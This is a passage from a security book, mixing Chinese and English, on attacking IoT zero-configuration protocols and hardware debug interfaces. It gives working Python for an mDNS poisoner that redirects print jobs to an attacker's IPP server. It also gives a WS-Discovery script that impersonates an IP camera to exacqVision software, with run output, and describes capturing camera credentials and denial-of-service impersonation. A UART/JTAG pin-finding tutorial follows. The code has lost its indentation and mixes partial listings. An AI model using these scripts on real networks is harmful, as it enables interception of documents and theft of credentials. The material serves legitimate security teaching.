你应该看到来自 ippserver 的类似输出。
创建 mDNS 中毒器
我们将用 Python 编写的 mDNS 中毒器监听 UDP 端口 5353 上的多播 mDNS 流量,直到它找到一个客户端尝试连接到打印机,然后发送回复。图 6-12 展示了相关的步骤。

图 6-12:mDNS 中毒攻击步骤
首先,攻击者监听 UDP 端口 5353 上的多播 mDNS 流量。当 macOS 客户端重新发现test网络打印机并发送 mDNS 查询时,攻击者会持续向中毒客户端的缓存发送回复。如果攻击者在合法打印机之前赢得了竞赛,攻击者就成为了中间人,处理来自客户端的流量。客户端将文档发送给攻击者,攻击者然后可以将文档转发给打印机,以避免被发现。如果攻击者没有将文档转发给打印机,用户可能会怀疑文档未被打印。
我们将通过创建一个框架文件(Listing 6-2)开始,然后实现一个简单的网络服务器功能,用于监听多播 mDNS 地址。请注意,该脚本是用 Python 3 编写的。
#!/usr/bin/env python
import time, os, sys, struct, socket
from socketserver import UDPServer, ThreadingMixIn
from socketserver import BaseRequestHandler
from threading import Thread
from dnslib import *
MADDR = ('224.0.0.251', 5353)
class UDP_server(ThreadingMixIn, UDPServer): 1
allow_reuse_address = True
def server_bind(self):
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
mreq = struct.pack("=4sl", socket.inet_aton(MADDR[0]), socket.INADDR_ANY)
self.socket.setsockopt(socket.IPPROTO_IP, 2socket.IP_ADD_MEMBERSHIP, mreq)
UDPServer.server_bind(self)
def MDNS_poisoner(host, port, handler): 3
try:
server = UDP_server((host, port), handler)
server.serve_forever()
except:
print("Error starting server on UDP port " + str(port))
class MDNS(BaseRequestHandler):
def handle(self):
target_service = ''
data, soc = self.request
soc.sendto(d.pack(), MADDR)
print('Poisoned answer sent to %s for name %s' % (self.client_address[0], target_service))
def main(): 4
try:
server_thread = Thread(target=MDNS_poisoner, args=('', 5353, MDNS,))
server_thread.setDaemon(True)
server_thread.start()
print("Listening for mDNS multicast traffic")
while True:
time.sleep(0.1)
except KeyboardInterrupt:
sys.exit("\rExiting...")
if __name__ == '__main__':
main()
Listing 6-2:mDNS 污染器的框架文件
我们从导入我们需要的 Python 模块开始。socketserver框架简化了编写网络服务器的任务。为了解析和构造 mDNS 数据包,我们导入了dnslib,这是一个简单的库,用于编码和解码 DNS 数据包。然后,我们定义了一个全局变量MADDR,它保存了 mDNS 的多播地址和默认端口(5353)。
我们创建了UDP_server,使用ThreadingMixIn类,该类通过线程实现并行性。服务器的构造函数将调用server_bind函数,将套接字绑定到所需的地址。我们启用了allow_reuse_address,这样就可以重用绑定的 IP 地址,并且启用了SO_REUSEADDR套接字选项,这允许套接字在我们重启程序时强制绑定到相同的端口。然后,我们必须使用IP_ADD_MEMBERSHIP加入多播组(224.0.0.251)。
The `MDNS_poisoner` function 3 creates an instance of the `UDP_server` and calls `serve_forever` on it to handle requests until an explicit shutdown. The `MDNS`class handles all incoming requests, parsing them and sending back the replies. Because this class is the brainpower of the poisoner, we’ll explore the class in more detail later. You’ll have to replace this block of code (Listing 6-3) with the complete `MDNS` class in Listing 6-2. The `main`function 4 creates the main thread for the mDNS server. This thread will automatically start new threads for each request, which the `MDNS.handle` function will handle.With`setDaemon(True)`, the server will exit when the main thread terminates, and you can terminate the main thread by pressing CTRL-C, which will trigger the `KeyboardInterrupt` exception. The main program will finally enter an infinite loop, and the threads will handle all the rest. Now that we’ve created the skeleton, let’s outline the methodology for creating the `MDNS` class, which implements the mDNS poisoner: 1. 1. Capture network traffic to determine which packets you need to reproduce and save the *pcap* file for later. 2. 2. Export the raw packet bytes from Wireshark. 3. 3. Search for libraries implementing existing functionality, such as dnslib for the DNS packet handling, so you don’t reinvent the wheel. 4. 4. When you need to parse incoming packets, as is the case with the mDNS query, first use the previously exported packets from Wireshark to initially feed into the tool instead of getting new ones from the network. 5. 5. Start sending packets on the network, and then compare them with the first traffic dump. 6. 6. Finalize and refine the tool by cleaning up and commenting code, as well as adding real-time configurability via command line arguments. Let’s see what our most important class, `MDNS`, does (Listing 6-3). Replace the `MDNS` block in Listing 6-2 with this code. ``` class MDNS(BaseRequestHandler): def handle(self): target_service = '' data, soc = self.request 1 d = DNSRecord.parse(data) 2 # basic error checking - does the mDNS packet have at least 1 question? if d.header.q < 1: return # we are assuming that the first question contains the service name we want to spoof target_service = d.questions[0]._qname 3 # now create the mDNS reply that will contain the service name and our IP address d = DNSRecord(DNSHeader(qr=1, id=0, bitmap=33792)) 4 d.add_answer(RR(target_service, QTYPE.SRV, ttl=120, rclass=32769, rdata=SRV(priority=0, target='kali.local', weight=0, port=8000))) d.add_answer(RR('kali.local', QTYPE.A, ttl=120, rclass=32769, rdata=A("192.168.10.10"))) 5 d.add_answer(RR('test._ipps._tcp.local', QTYPE.TXT, ttl=4500, rclass=32769, rdata=TXT(["rp=ipp/print", "ty=Test Printer", "adminurl=https://kali:8000/ipp/print", "pdl=application/pdf,image/jpeg,image/pwg-raster", "product=(Printer)", "Color=F", "Duplex=F", "usb_MFG=Test", "usb_MDL=Printer", "UUID=0544e1d1-bba0-3cdf-5ebf-1bd9f600e0fe", "TLS=1.2", "txtvers=1", "qtotal=1"]))) 6 soc.sendto(d.pack(), MADDR) 7 print('Poisoned answer sent to %s for name %s' % (self.client_address[0], target_service)) ``` Listing 6-3: The final `MDNS` class for our poisoner We’re using Python’s `socketserver` framework to implement the server. The `MDNS` class has to subclass the framework’s `BaseRequestHandler` class and override its `handle()` method to process incoming requests. For UDP services, `self.request` 1 returns a string and socket pair, which we save locally. The string contains the data incoming from the network, and the socket pair is the IP address and port belonging to the sender of that data. We then parse the incoming `data` using `dnslib` 2, converting them into a `DNSRecord` class that we can then use to extract the domain name 3 from the `QNAME` of the Question section. The Question section is the part of the mDNS packet that contains the Queries (for example, see Figure 6-7). Note that to install `dnslib`, you can do the following: ``` # git clone https://github.com/paulc/dnslib # cd dnslib # python setup.py install ``` Next, we must create our mDNS reply 4 containing the three DNS records we need (SRV, A, and TXT). In the Answers section, we add the SRV record that associates the `target_service` with our hostname (`kali.local`) and port 8000\. We add the A record 5 that resolves the hostname to the IP address. Then we add the TXT record 6 that, among other things, contains the URL for the fake printer to be contacted at https://kali:8000/ipp/print. Finally, we send the reply to the victim through our UDP socket 7. As an exercise, we leave it to you to configure the hardcoded values contained in the mDNS reply step. You could also make the poisoner more flexible so it poisons a specific target IP and service name only. #### Testing the mDNS Poisoner Now let’s test the mDNS poisoner. Here is the attacker’s poisoner running: ``` root@kali:~/mdns/poisoner# python**3** **poison.py** Listening for mDNS multicast traffic Poisoned answer sent to 192.168.10.199 for name _universal._sub._ipp._tcp.local. Poisoned answer sent to 192.168.10.219 for name test._ipps._tcp.local. Poisoned answer sent to 192.168.10.199 for name _universal._sub._ipp._tcp.local. ``` We try to automatically grab the print job from the victim client, getting it to connect to us instead of the real printer by sending seemingly legitimate mDNS traffic. Our mDNS poisoner replies to the victim client 192.168.10.199, telling it that the attacker holds the `_universal._sub._ipp._tcp.local` name. The mDNS poisoner also tells the legitimate printer server (192.168.10.219) that the attacker holds the `test._ipps._tcp.local` name. Remember that this is the name that the legitimate print server was advertising. Our poisoner, a simple proof of concept script at this stage, doesn’t distinguish between targets; rather, it indiscriminately poisons every request it sees. Here is the ippserver that emulates a printer server: ``` root@kali:~/tmp# ls root@kali:~/tmp# ippserver test -d . -k -v Listening on port 8000. Ignore Avahi state 2. printer-more-info=https://kali:8000/ printer-supply-info-uri=https://kali:8000/supplies printer-uri="ipp://kali:8000/ipp/print" Accepted connection from 192.168.10.199 192.168.10.199 Starting HTTPS session. 192.168.10.199 Connection now encrypted. … ``` With the mDNS poisoner running, the client (192.168.10.199) will connect to the attacker’s ippserver instead of the legitimate printer (192.168.10.219) to send the print job. But this attack doesn’t automatically forward the print job or document to the real printer. Note that in this scenario, the Bonjour implementation of mDNS/DNS-SD seems to query the `_universal` name every time the user tries to print something from the MacBook, and it would need to be poisoned as well. The reason is that our MacBook was connected to our lab via Wi-Fi, and macOS was trying to use AirPrint, a macOS feature for printing via Wi-Fi. The `_universal` name is associated with AirPrint. ## Exploiting WS-Discovery The *Web Services Dynamic Discovery Protocol* (*WS-Discovery*) is a multicast discovery protocol that locates services on a local network. Have you ever wondered what could happen if you pretended to be an IP camera by imitating its network behavior and attacking the server that manages it? Corporate networks, on which a large number of cameras reside, often rely on *video management servers*, software that lets system administrators and operators remotely control the devices and view their video feed through a centralized interface. Most modern IP cameras support *ONVIF*, an open industry standard developed to let physical, IP-based security products work with each other, including video surveillance cameras, recorders, and associated software. It’s an open protocol that surveillance software developers can use to interface with ONVIF-compliant devices regardless of the device’s manufacturer. One of its features is *automatic device discovery*, which it typically carries out using WS-Discovery. In this section, we’ll explain how WS-Discovery works, create a proof of concept Python script for exploiting inherent protocol vulnerabilities, create a fake IP camera on the local network, and discuss other attack vectors. ### How WS-Discovery Works Without getting into too many details, we’ll provide a brief overview of how WS-Discovery works. In WS-Discovery terminology, a *Target Service* is an endpoint that makes itself available for discovery, whereas a *Client* is an endpoint that searches for Target Services. Both use SOAP queries over UDP to the 239.255.255.250 multicast address with the destination UDP port 3702\. Figure 6-13 represents the message exchanges between the two.  Figure 6-13: WS-Discovery message exchanges between a Target Service and a Client A Target Service sends a multicast *Hello* 1 when it joins a network. The Target Service can receive a multicast *Probe* 2, a message sent by a Client searching for a Target Service by *Type*, at any time. The Type is an identifier for the endpoint. For example, an IP camera could have NetworkVideoTransmitter as a Type. It might also send a unicast *Probe Match*3 if the Target Service matches a Probe (other matching Target Services might also send unicast Probe Matches). Similarly, a Target Service might receive a multicast *Resolve*4 at any time, a message sent by a Client searching for a Target by name, and send a unicast *Resolve Match*5 if it’s the target of a Resolve. Finally, when a Target Service leaves a network, it makes an effort to send a multicast *Bye* 6. A Client mirrors the Target Service messages. It listens to the multicast Hello, might Probe to find Target Services or Resolve to find a particular Target Service, and listens to the multicast Bye. We mostly want to focus on the second and third steps 23 for the attack we’ll perform in this section. ### Faking Cameras on Your Network We’ll first set up a test environment with IP camera management software on a virtual machine, and then use a real network camera to capture packets and analyze how it interacts with the software through WS-Discovery in practice. Then we’ll create a Python script that will imitate the camera with the goal of attacking the camera management software. #### Setting up We’ll demonstrate this attack using an earlier version (version 7.8) of *exacqVision*, a well-known tool for IP camera management. You could also use a similar free tool, such as Camlytics, iSpy, or any kind of camera management software that uses WS-Discovery. We’ll host the software on a virtual machine with the IP address 192.168.10.240\. The actual network camera we’ll be imitating has the IP address 192.168.10.245\. You can find the version of exacqVision we’re using at [`www.exacq.com/reseller/legacy/?file=Legacy/index.html/`](https://www.exacq.com/reseller/legacy/?file=Legacy/index.html/)*.* Install the exacqVision server and client on a Windows 7 system hosted on VMware, and then start the exacqVision client. It should connect locally to the corresponding server; the client acts as a user interface to the server, which should have started as a background service on the system. Then we can start discovering network cameras. On the Configuration page, click **exacqVision Server**▶**Configure System**▶**Add IP Cameras**, and then click the **Rescan Network** button (Figure 6-14).  Figure 6-14: exacqVision client interface for discovering new network cameras using WS-Discovery Doing so will send a WS-Discovery Probe (message 2 in Figure 6-14) to the multicast address 239.255.255.250 over UDP port 3702\. #### Analyzing WS-Discovery Requests and Replies in Wireshark As an attacker, how can we impersonate a camera on the network? It’s fairly easy to understand how typical WS-discovery requests and replies work by experimenting with an off-the shelf camera, such as Amcrest, as shown in this section. In Wireshark, start by enabling the “XML over UDP” dissector by clicking **Analyze** in the menu bar. Then click **Enabled Protocols**. Search for “udp” and select the **XML over UDP** box (Figure 6-15).  Figure 6-15: Selecting the XML over UDP dissector in Wireshark Next, activate Wireshark on the virtual machine that runs the exacqVision server and capture the Probe Match reply (message 3 in 9) from the Amcrest camera to the WS-Discovery Probe. We can then right-click the packet and click **Follow** ▶**UDP stream**. We should see the entire SOAP/XML request. We’ll need this request value in the next section as we develop our script; we’ll paste it into the `orig_buf` variable in Listing 6-4. Figure 6-16 shows the output of the WS-Discovery Probe in Wireshark. The exacqVision client outputs this information whenever it scans the network for new IP cameras.  Figure 6-16: The WS-Discovery Probe from exacqVision, output by Wireshark The most important part of this probe is the `MessageID` UUID (highlighted), because this needs to be included in the Probe Match reply. (You can read more about this in the official WS-Discovery specification at */s:Envelope/s:Header/a:RelatesTo MUST be the value of the [message id] property [WS-Addressing] of the Probe*.) Figure 6-17 shows the Probe Match reply from the real Amcrest IP camera.  Figure 6-17: WS-Discovery Probe Match reply from an Amcrest IP camera on the network. Notice that the `RelatesTo` UUID is the same as the `MessageID` UUID that exacqVision sent. The `RelatesTo` field contains the same UUID as the one in the `MessageID` of the XML payload that the exacqVision client sent. #### Emulating a Camera on the Network Now we’ll write a Python script that emulates a real camera on the network with the intent of attacking the exacqVision software and taking the place of the real camera. We’ll use Amcrest’s Probe Match reply to exacqVision as the foundation for creating our attacking payload. We need to create a listener on the network that receives the WS-Discovery Probe from exacqVision, extracts the MessageID from it, and uses it to finalize our attacking payload as a WS Probe Match reply. The first part of our code imports necessary Python modules and defines the variable that holds the original WS-Discovery Probe Match reply from Amcrest, as shown in Listing 6-4. ``` #!/usr/bin/env python import socket import struct import sys import uuid buf = "" orig_buf = '''<?xml version="1.0" encoding="utf-8" standalone="yes" ?><s:Envelope 1 >\ <s:Header><a:MessageID>urn:uuid:_MESSAGEID_</a:MessageID><a:To>urn:schemas-xmlsoap-org:ws:2005:04:discovery</a:To><a:Action>http://schemas.xmlsoap.org/ws/2005/04/discovery/ProbeMatches\ 2 </a:Action><a:RelatesTo>urn:uuid:_PROBEUUID_</a:RelatesTo></s:Header><s:Body><d:ProbeMatches><d:ProbeMatch><a:EndpointReference><a:Address>uuid:1b77a2db-c51d-44b8-bf2d-418760240ab6</a:Address></a:EndpointReference><d:Types>dn:NetworkVideoTransmitter 3 tds:Device</d:Types><d:Scopes>onvif://www.onvif.org/location/country/china \ onvif://www.onvif.org/name/Amcrest \ 4 onvif://www.onvif.org/hardware/IP2M-841B \ onvif://www.onvif.org/Profile/Streaming \ onvif://www.onvif.org/type/Network_Video_Transmitter \ onvif://www.onvif.org/extension/unique_identifier</d:Scopes>\ <d:XAddrs>http://192.168.10.10/onvif/device_service</d:XAddrs><d:MetadataVersion>1</d:MetadataVersion></d:ProbeMatch></d:ProbeMatches></s:Body></s:Envelope>''' ``` Listing 6-4: Module imports and the definition of the original WS-Discovery Probe Match reply from the Amcrest camera We start with the standard Python shebang line to make sure the script can run from the command line without specifying the full path of the Python interpreter, as well as the necessary module imports. Then we create the `orig_buf` variable 1, which holds the original WS-Discovery reply from Amcrest as a string. Recall from the previous section that we pasted the XML request into the variable after capturing the message in Wireshark. We create a placeholder `_MESSAGEID_`2. We’ll replace this with a new unique UUID that we’ll generate every time we receive a packet. Similarly, the `_PROBEUUID_`3will contain the UUID as extracted from the WS-Discovery Probe at runtime. We have to extract it every time we receive a new WS-Discovery Probe from exacqVision. The `name` portion 4 of the XML payload is a good place to fuzz with malformed input, because we saw that the `Amcrest` name appears in the client’s listing of cameras and will thus have to first be parsed by the software internally. The next part of the code, in Listing 6-5, sets up the network sockets. Place it immediately after the code in Listing 6-3. ``` sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) sock.setsockopt(socket.SOL_SOCKET, 1socket.SO_REUSEADDR, 1) sock.bind(('239.255.255.250', 3702)) mreq = struct.pack("=4sl", socket.inet_aton(2"239.255.255.250"), socket.INADDR_ANY) sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) ``` Listing 6-5: Setting up the network sockets We create a UDP socket and set the `SO_REUSEADDR` socket option 1 that lets the socket bind to the same port whenever we restart the script. Then we bind to the multicast address 239.255.255.250 on port 3702, because these are the standard multicast address and default port used in WS-Discovery. We also have to tell the kernel that we’re interested in receiving network traffic directed to 239.255.255.250 by joining that multicast group address 2. Listing 6-6 shows the final part of our code, which includes the main loop. ``` while True: print("Waiting for WS-Discovery message...\n", file=sys.stderr) data, addr = sock.recvfrom(1024) 1 if data: server_addr = addr[0] 2 server_port = addr[1] print('Received from: %s:%s' % (server_addr, server_port), file=sys.stderr) print('%s' % (data), file=sys.stderr) print("\n", file=sys.stderr) # do not parse any further if this is not a WS-Discovery Probe if "Probe" not in data: 3 continue # first find the MessageID tag m = data.find("MessageID") 4 # from that point in the buffer, continue searching for "uuid" now u = data[m:-1].find("uuid") num = m + u + len("uuid:") # now get where the closing of the tag is end = data[num:-1].find("<") # extract the uuid number from MessageID orig_uuid = data[num:num + end] print('Extracted MessageID UUID %s' % (orig_uuid), file=sys.stderr) # replace the _PROBEUUID_ in buffer with the extracted one buf = orig_buf buf = buf.replace("_PROBEUUID_", orig_uuid) 5 # create a new random UUID for every packet buf = buf.replace("_MESSAGEID_", str(uuid.uuid4())) 6 print("Sending WS reply to %s:%s\n" % (server_addr, server_port), file=sys.stderr) udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 7 udp_socket.sendto(buf, (server_addr, server_port)) ``` Listing 6-6: The main loop, which receives a WS-Discovery Probe message, extracts the `MessageID`, and sends the attacking payload The script enters an infinite loop in which it listens for WS-Discovery Probe messages 1 until we stop it (CTRL-C will exit the loop on Linux). If we receive a packet that contains data, we get the sender’s IP address and port 2 and save them in the variables `server_addr` and `server_port`, respectively. We then check whether the string `"Probe"`3 is included inside the received packet; if it is, we assume this packet is a WS-Discovery Probe. Otherwise, we don’t do anything else with the packet. Next, we try to find and extract the UUID from the `MessageID` XML tag without using any part of the XML library (because this would create unnecessary overhead and complicate this simple operation), relying only on basic string manipulation 4. We replace the `_PROBEUUID_` placeholder from Listing 6-3 with the extracted UUID 5 and create a new random UUID to replace the `_MESSAGE_ID`placeholder 6. Then we send the UDP packet back to the sender 7. Here is an example run of the script against the exacqVision software: ``` root@kali:~/zeroconf/ws-discovery# python3 exacq-complete.py Waiting for WS-Discovery message... Received from: 192.168.10.169:54374 <?xml version="1.1" encoding="utf-8"?><Envelope ><Header><wsa:MessageID >urn:uuid:2ed72754-2c2f-4d10-8f50-79d67140d268</wsa:MessageID><wsa:To >urn:schemas-xmlsoap-org:ws:2005:04:discovery</wsa:To><wsa:Action >http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</wsa:Action></Header><Body><Probe xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance xmlns:xsd=http://www.w3.org/2001/XMLSchema ><Types>dn:NetworkVideoTransmitter</Types><Scopes /></Probe></Body></Envelope> Extracted MessageID UUID 2ed72754-2c2f-4d10-8f50-79d67140d268 Sending WS reply to 192.168.10.169:54374 Waiting for WS-Discovery message... ``` Notice that every time you run the script, the MessageID UUID will be different. We leave it as an exercise for you to print the attacking payload and verify that same UUID appears in the `RelatesTo` field inside it. In the exacqClient interface, our fake camera appears in the list of devices, as shown in Figure 6-18.  Figure 6-18: Our fake camera appears on the exacqClient list of IP cameras. In the next section, we’ll explore what you could accomplish once you’ve been registered as a camera. ### Crafting WS-Discovery Attacks What types of attacks can you conduct by abusing this simple discovery mechanism? First, you can attack the video management software through this vector, because XML parsers are notorious for bugs that lead to memory corruption vulnerabilities. Even if the server doesn’t have any other exposed listening port, you could feed it malformed input through WS-Discovery. A second attack would have two steps. First, cause a denial of service on a real IP camera so it loses connection to the video server. Second, send WS-Discovery information that makes your fake camera look like the legitimate, disconnected one. In that case, you might be able to fool the server’s operator into adding the fake camera to the list of cameras that the server manages. Once added, you can feed the server with artificial video input. In fact, in some cases you could carry out the previous attack without even causing a denial of service in the real IP camera. You’d just have to send the WS-Discovery Probe Match response to the video server before the real camera sends it. In that case, and assuming the information is identical or similar enough (replicating the Name, Type, and Model fields from the real camera is enough most times), the real camera won’t even appear in the management software if you’ve successfully taken its place. Third, if the video software uses an insecure authentication to the IP camera (for example, HTTP basic authentication), it’s possible to capture the credentials. An operator who adds your fake camera will type in the same username and password as the original one. In that case, you might be able to capture the credentials as the server attempts to authenticate against what it assumes is the real one. Because password reuse is a common problem, it’s likely that other cameras on the network use the same password, especially if they’re of the same model or vendor. A fourth attack could be to include malicious URLs in the WS-Discovery Match Probe’s fields. In some cases, the Match Probe is displayed to the user, and the operator might be tempted to visit the links. Additionally, the WS-Discovery standard includes a provision for “Discovery Proxies.” These are essentially web servers that you could leverage to operate WS-Discovery remotely, even across the internet. This means that the attacks described here could potentially take place without the adversary being positioned on the same local network. ## Conclusion In this chapter, we analyzed UPnP, WS-Discovery, and mDNS and DNS-SD, all of which are common zero-configuration network protocols in IoT ecosystems. We described how to attack an insecure UPnP server on OpenWrt to punch holes in the firewall, and then discussed how to exploit UPnP over WAN interfaces. Next, we analyzed how mDNS and DNS-SD work and how you can abuse them, and we built an mDNS poisoner in Python. Then we inspected WS-Discovery and how to exploit it to conduct a variety of attacks on IP camera management servers. Almost all of these attacks rely on the inherent trust that these protocols put on participants in the local network, favoring automation over security.
第三部分
硬件黑客技术
第七章:UART、JTAG 和 SWD 利用

如果你了解与系统电子组件直接交互的协议,你就可以在物理层面攻击 IoT 设备。通用异步接收传输器(UART) 是最简单的串行协议之一,其利用提供了获取 IoT 设备访问权限的最简单途径之一。供应商通常用它进行调试,这意味着你通常可以通过它获得 root 权限。为此,你需要一些专用的硬件工具;例如,攻击者通常通过使用万用表或逻辑分析仪来识别设备印刷电路板(PCB)上的 UART 引脚。然后,他们将 USB 转串口适配器连接到这些引脚,并从攻击工作站打开串行调试控制台。大多数情况下,如果你这样做,你将被直接进入 root shell。
联合测试行动小组(JTAG) 是一种工业标准(在 IEEE 1491.1 中定义),用于调试和测试日益复杂的 PCB。嵌入式设备上的 JTAG 接口允许我们读取和写入内存内容,包括转储整个固件,这意味着它是获得完全控制目标设备的一种方式。串行线调试(SWD)是一种非常相似、甚至比 JTAG 更简单的电气接口,我们也将在这里进行探讨。
本章的大部分内容将通过一个较长的实践演练进行讲解;你将编程、调试并利用微控制器,通过 UART 和 SWD 绕过其认证过程。但首先,我们将解释这些协议的内部工作原理,并展示如何使用硬件和软件工具识别 PCB 上的 UART 和 JTAG 引脚。
UART
UART 是一种串行协议,这意味着它一次传输一个比特的数据。相比之下,并行通信协议通过多个通道同时传输数据。常见的串行协议包括 RS-232、I²C、SPI、CAN、以太网、HDMI、PCI Express 和 USB。
UART 比你可能遇到的许多协议更简单。为了同步通信,UART 的发送器和接收器必须就一个特定的波特率(每秒传输的比特数)达成一致。图 7-1 显示了 UART 数据包的格式。

图 7-1:UART 数据包格式
通常,在 UART 处于空闲状态时,线路保持高电平(逻辑 1)。然后,为了表示数据传输的开始,发送器向接收器发送一个起始位,此时信号保持低电平(逻辑 0)。接着,发送器发送五到八个数据位,包含实际的消息,之后是一个可选的奇偶校验位和一个或两个停止位(逻辑 1),具体取决于配置。用于错误检查的奇偶校验位在实际应用中很少见。停止位(或多个停止位)表示传输结束。
我们称最常见的配置为8N1:8 个数据位、无奇偶校验位和一个停止位。例如,如果我们想在 8N1 UART 配置中发送字符 C,或 ASCII 码 0x43,我们将发送以下位:0(起始位);0、1、0、0、0、0、1、1(0x43 的二进制值);以及0(停止位)。
与 UART 通信的硬件工具
你可以使用各种硬件工具与 UART 进行通信。一种简单的选择是 USB 到串口适配器,如我们在“通过 UART 和 SWD 黑客攻击设备”一节中使用的那种。其他选项包括配备 CP2102 或 PL2303 芯片的适配器。如果你是硬件黑客新手,我们建议你获取一款支持除 UART 以外的其他协议的多功能工具,例如 Bus Pirate、Adafruit FT232H、Shikra 或 Attify Badge。
你还可以在本书末尾的“物联网黑客工具”中找到工具列表及其描述,并附有购买链接。
确定 UART 端口
要通过 UART 攻击设备,首先需要定位其四个 UART 端口或连接器,通常以引脚或焊盘(镀层孔)的形式出现。术语引脚图指的是所有端口的图示。我们将在本书中交替使用这些术语。UART 引脚图包含四个端口:TX(发送)、RX(接收)、Vcc(电压)和GND(地)。首先打开设备的外壳并拆下 PCB。请注意,这可能会使你的保修失效。
这四个端口通常会彼此靠近。如果你运气好,甚至可能找到标明 TX 和 RX 端口的标记,如图 7-2 所示。在这种情况下,你可以相当确定这四个引脚就是 UART 引脚。

图 7-2:在圣裘德/雅培医疗 Merlin@home 发射器的 PCB 板上,UART 引脚清晰标记为 DBG_TXD 和 DBG_RXD。
在其他情况下,你可能会看到四个互相并排的通孔焊盘,如图 7-3 中 TP-Link 路由器的那样。这可能是因为厂商将 UART 头针从 PCB 上移除,这意味着你可能需要进行一些焊接操作来接触到它们,或者使用测试探针。(测试探针是连接电子测试设备和设备的物理设备,包括探针、电缆和终端连接器。我们将在第八章中展示一些测试探针的示例。)

图 7-3:TP-Link TL WR840N 路由器中的 PCB。在左下角,你可以看到放大的 PCB 部分,标有 UART 焊盘。
此外,请记住,某些设备通过编程通用输入输出(GPIO)引脚来模拟 UART 端口,如果板上没有足够的空间放置专用的硬件 UART 引脚。
当 UART 引脚没有像这里所示那样清晰标记时,通常可以通过两种方式在设备上识别它们:使用万用表或使用逻辑分析仪。万用表可用于测量电压、电流和电阻。进行硬件黑客操作时,拥有万用表非常重要,因为它可以用于多种用途。例如,我们通常用它来测试通断性。通断性测试在电路电阻足够低(低于几欧姆)时会发出蜂鸣声,表示万用表探头所接触的两个点之间存在连续路径。
虽然便宜的万用表可以完成工作,但如果您计划深入研究硬件黑客操作,我们建议您投资一款坚固且精确的万用表。真正的 RMS 万用表在测量交流电流时更加精确。图 7-4 展示了一款典型的万用表。

图 7-4:常见万用表。突出显示的是通断性测试模式,通常该模式有一个类似声波的图标(因为在检测到通断性时会发出蜂鸣声)。
要使用万用表识别 UART 引脚,首先确保设备已关闭电源。按照惯例,您应将黑色测试线连接到万用表的 COM 插孔。将红色测试线插入 VΩ 插孔。
首先识别 UART GND 引脚。将万用表旋钮转到通断性测试模式,通常该模式有一个类似声波的图标。它可能与一个或多个功能共享一个位置,通常是电阻。将黑色测试线的另一端放在任何接地的金属表面上(无论是测试的 PCB 一部分还是其他地方),该表面应有直接的导电路径连接到地面。
然后将红色探头放在您怀疑可能是 UART 引脚的每个端口上。当您听到万用表发出蜂鸣声时,说明您找到了 GND 引脚。请记住,设备可能有多个 GND 引脚,您可能找到的并不一定是 UART 引脚的一部分。
接下来识别 Vcc 引脚。将万用表旋钮转到直流电压模式,并设置为 20 V 电压。将万用表的黑色探头保持在接地表面上。将红色探头放在一个怀疑是 Vcc 引脚的焊盘上,然后打开设备。如果万用表测得恒定电压为 3.3 V 或 5 V,则说明您找到了 Vcc 引脚。如果得到其他电压,请将红色探头放到另一个端口,重新启动设备并再次测量电压。对每个端口都做同样的操作,直到找到 Vcc 引脚。
接下来,识别 TX 端口。将万用表模式设置为直流电压 20V 或以下,并将黑色探头保持在接地面上。将红色探头移至怀疑的焊盘,并对设备进行断电重启。如果电压在几秒钟内波动,随后稳定在 Vcc 值(无论是 3.3V 还是 5V),则很可能找到了 TX 端口。这种现象发生在设备启动时,设备会通过该 TX 端口发送串行数据用于调试。启动完成后,UART 线变为空闲状态。回顾图 7-1,我们知道空闲的 UART 线保持逻辑高电平,这意味着它具有 Vcc 值。
如果你已经识别了其他 UART 端口,那么附近的第四个引脚很可能就是 RX 端口。否则,你可以通过它的电压波动最小且所有 UART 引脚中电压值最低来识别它。
要更准确地识别 UART 引脚,可以使用逻辑分析仪,这是一种捕获和显示数字系统信号的设备。市面上有许多类型的逻辑分析仪,从较便宜的 HiLetgo 或 Open Workbench Logic Sniffer,到更专业的 Saleae 系列(图 7-5),后者支持更高的采样率并且更为稳健。
我们将在第 176 页的《使用逻辑分析仪识别 UART 引脚》一节中,详细介绍如何使用逻辑分析仪对目标设备进行测试。
识别 UART 波特率
接下来,你需要识别 UART 端口使用的波特率。否则,无法与设备进行通信。由于缺乏同步时钟,波特率是发射器和接收器同步交换数据的唯一方式。

图 7-5:Saleae 是一系列专业的逻辑分析仪。
识别正确波特率的最简单方法是观察 TX 引脚的输出,并尝试读取数据。如果接收到的数据不可读,切换到下一个可能的波特率,直到数据变得可读。你可以使用 USB 转串口适配器或像 Bus Pirate 这样的多功能设备,配合一个辅助脚本,例如 Craig Heffner 的baudrate.py(github.com/devttys0/baudrate/),来帮助自动化这个过程。最常见的波特率有 9600、38400、19200、57600 和 115200,Heffner 的 Python 脚本默认会测试这些波特率。
JTAG 和 SWD
与 UART 类似,IoT 嵌入式设备上的 JTAG 和 SWD 接口也可以作为获取设备控制权限的一种方式。在本节中,我们将介绍这些接口的基本概念,以及如何与它们进行通信。在第 168 页的《通过 UART 和 SWD 破解设备》一节中,我们将通过一个详细示例演示如何与 SWD 交互。
JTAG
随着制造商开始生产更小、更密集的组件,高效地测试它们变得更加困难。工程师过去使用针床过程来测试硬件缺陷,在这种过程中,他们将电路板放置在一些固定装置上,这些装置与电路板的不同部分连接。当制造商开始使用多层电路板和球栅阵列封装时,这些固定装置无法再访问电路板上的所有节点。
JTAG通过引入一种更有效的替代方式——边界扫描,解决了这个问题:边界扫描分析了某些电路,包括每个引脚的嵌入式边界扫描单元和寄存器。通过利用这些边界扫描单元,工程师可以比以前更容易地测试电路板上某个点是否正确连接到另一个点。
边界扫描命令
JTAG 标准定义了用于进行边界扫描的特定命令,包括以下内容:
-
旁路(BYPASS)允许你在不经过其他芯片的情况下测试特定的芯片。
-
采样/预加载(SAMPLE/PRELOAD)在设备处于正常工作模式时,采集进出设备的数据。
-
外部测试(EXTEST)设置并读取引脚状态。
设备必须支持这些命令才能被认为符合 JTAG 标准。设备也可能支持一些可选命令,如IDCODE(用于识别设备)和INTEST(用于设备的内部测试)等。在使用像 JTAGulator 这样的工具(稍后在“识别 JTAG 引脚”第 166 页中描述)来识别 JTAG 引脚时,你可能会遇到这些指令。
测试访问端口
